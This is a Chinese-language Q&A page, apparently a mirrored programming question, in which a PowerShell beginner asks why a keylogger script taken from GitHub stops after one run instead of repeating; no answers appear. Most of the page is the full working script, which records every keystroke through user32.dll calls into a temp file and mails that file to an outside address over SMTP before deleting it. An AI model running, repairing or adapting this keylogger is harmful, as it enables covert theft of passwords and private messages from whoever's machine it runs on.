为什么该脚本不能连续运行多次?

时间:2020-03-05 16:43:39

标签: powershell powershell-2.0 powershell-3.0

我是Powershell的新手,到目前为止,它一直在进行实验以了解其工作原理。最近,我决定在github上找到一个很酷的键盘记录程序脚本,决定将其签出。除了可以重复的次数($TimesToRun)之外,其他所有功能都可以使用。

我今天大部分时间都在尝试找出问题所在并加以解决,但到目前为止还没有运气。

我也尝试重写脚本。我尝试过的一件事是以各种方式循环脚本:[for ($i=1; $i -le 5; $i++)等…],但仍然无法正常工作。它只是在第一个时间段后关闭,或者没有创建新的.txt文件,所以我收到了错误消息。这是脚本,也许有人可以帮我发现问题:

# Edit only this section!
$TimesToRun = 2
$RunTimeP = 1
$From = "USER1@mail.com"
$To = "USER2@mail.com"
$Subject = "Keylogger Results"
$body = "Keylogger Results"
$SMTPServer = "smtp.outlook.com"
$SMTPPort = "587"
$credentials = Get-Credential
############################


$TimeStart = Get-Date
$TimeEnd = $timeStart.addminutes($RunTimeP)

#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt") 
{
  # Signatures for API Calls
  $signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

  # load signatures and make members available
  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

  # create output file
  $null = New-Item -Path $Path -ItemType File -Force

  try
  {

    # create endless loop. When user presses CTRL+C, finally-block
    # executes and shows the collected key presses
    $Runner = 0
    while ($TimesToRun  -ge $Runner) {
    while ($TimeEnd -ge $TimeNow) {
      Start-Sleep -Milliseconds 40

      # scan all ASCII codes above 8
      for ($ascii = 9; $ascii -le 254; $ascii++) {
        # get current key state
        $state = $API::GetAsyncKeyState($ascii)

        # is key pressed?
        if ($state -eq -32767) {
          $null = [console]::CapsLock

          # translate scan code to real code
          $virtualKey = $API::MapVirtualKey($ascii, 3)

          # get keyboard state for virtual keys
          $kbstate = New-Object Byte[] 256
          $checkkbstate = $API::GetKeyboardState($kbstate)

          # prepare a StringBuilder to receive input key
          $mychar = New-Object -TypeName System.Text.StringBuilder

          # translate virtual key
          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

          if ($success) 
          {
            # add key to logger file
            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
          }
        }
      }
      $TimeNow = Get-Date
    }
    send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
    Remove-Item -Path $Path -force
    }
  }
  finally
  {
    # open logger file in Notepad
    exit 1
  }
}

# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger

0 个答案:

没有答案
相关问题